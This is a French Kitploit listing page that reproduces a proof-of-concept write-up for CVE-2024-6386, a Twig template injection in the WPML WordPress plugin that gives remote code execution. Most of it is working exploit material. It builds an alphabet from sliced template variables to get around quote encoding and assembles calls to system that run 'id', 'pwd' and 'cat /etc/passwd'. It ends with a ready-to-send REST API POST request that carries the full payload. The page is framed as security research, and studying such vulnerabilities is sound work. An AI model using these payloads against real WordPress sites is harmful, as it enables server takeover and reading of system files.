Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-6386 — Recherche et PoC pour CVE-2024-6386 | Kitploit
Outils/GitHubGitHub/argendo/cve-2024-6386
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubargendo/cve-2024-6386

CVE-2024-6386

Recherche et PoC pour CVE-2024-6386

Voir le dépôt
510il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-6386 - RCE via SSTI Twig dans WPML

PoC

PoC sur Python+Selenium

Recherche détaillée en russe : CVE-2024-6386

Exemple de PoC

CVSS

Score de base : 9.9

Vecteur : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Résumé

Dans WPML, vous pouvez utiliser certains Shortcodes WordPress qui permettent de créer des macros et également de générer des modèles Twig. Vous pouvez donc facilement en tirer une SSTI.

Chaîne

SSTI

Par exemple, créons un shortcode pour exploiter la SSTI :

root@kitploit:~
[wpml_language_switcher]
{{ 2*2 }}
[/wpml_language_switcher]
Télécharger l’outil

Dans ce cas, nous obtiendrons 4 comme résultat du rendu de notre shortcode.

RCE

Parce que WordPress encode tous les types de guillemets en HTML, nous ne pouvons pas utiliser des payloads typiques, tels que :

root@kitploit:~
{{['id']|filter('system')}}

Néanmoins, nous pouvons modifier ce payload pour appeler des commandes OS à partir de variables-lettres telles que : (s = 's').

Pour ce faire, nous devons faire appel à certaines variables locales telles que :

  • css_classes
  • languages

La première nous renverra une chaîne : wpml-ls-statics-shortcode_actions wpml-ls. La seconde renvoie un objet Array de langues.

Grâce à cela, nous pouvons découper les symboles dont nous avons besoin et créer notre propre alphabet.

Ainsi, nous construisons un alphabet : [<space> ,a, c, i, d, s, y, t, e, m, p, w ]

Et oui, nous devons concaténer languages avec une valeur vide pour en faire une chaîne ayant la valeur "Array".

root@kitploit:~
{% set sp = css_classes|slice(33,1) %}
{% set a = css_classes|slice(10,1) %}
{% set c = css_classes|slice(13,1) %}
{% set i = css_classes|slice(12,1) %}
{% set d = css_classes|slice(23,1) %}
{% set s = css_classes|slice(6,1) %}
{% set y = languages|join|slice(4,1) %}
{% set t = css_classes|slice(9,1) %}
{% set e = css_classes|slice(24,1) %}
{% set m = css_classes|slice(2,1) %}
{% set p = css_classes|slice(1,1) %}
{% set w = css_classes|slice(0,1) %}

Après cela, nous pouvons concaténer notre alphabet pour former des payloads :

root@kitploit:~
{% set system = s~y~s~t~e~m %}
{% set pwd = p~w~d %}
{% set id = i~d %}
{% set cat = c~a~t %}
{% set sl = [pwd]|map(system)|join|slice(0,1) %}
{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}
{{[id]|map(system)|join}}
{{[pwd]|map(system)|join}}
{{[passwd]|map(system)|join}}

Exploitation avec Burp Suite

Commande

root@kitploit:~
POST /wp-json/wp/v2/posts/30?_locale=user HTTP/1.1
Host: vulned.com

{
    "id":30,
    "content":"<!-- wp:shortcode -->\n[wpml_language_switcher]\n{% set sp = css_classes|slice(33,1) %}{% set a = css_classes|slice(10,1) %}{% set c = css_classes|slice(13,1) %}{% set i = css_classes|slice(12,1) %}{% set d = css_classes|slice(23,1) %}{% set s = css_classes|slice(6,1) %}{% set y = languages|join|slice(4,1) %}{% set t = css_classes|slice(9,1) %}{% set e = css_classes|slice(24,1) %}{% set m = css_classes|slice(2,1) %}{% set p = css_classes|slice(1,1) %}{% set w = css_classes|slice(0,1) %}{% set system = s~y~s~t~e~m %}{% set pwd = p~w~d %}{% set cat = c~a~t %}{% set sl = [pwd]|map(system)|join|slice(0,1) %}{% set id = i~d %}{% set passwd = c~a~t~sp~sl~e~t~c~sl~p~a~s~s~w~d %}{{[id]|map(system)|join}}\n[/wpml_language_switcher]<!-- /wp:shortcode -->"
}

Résultat du listing

root@kitploit:~
GET /?p=30 HTTP/1.1
Host: vulned.com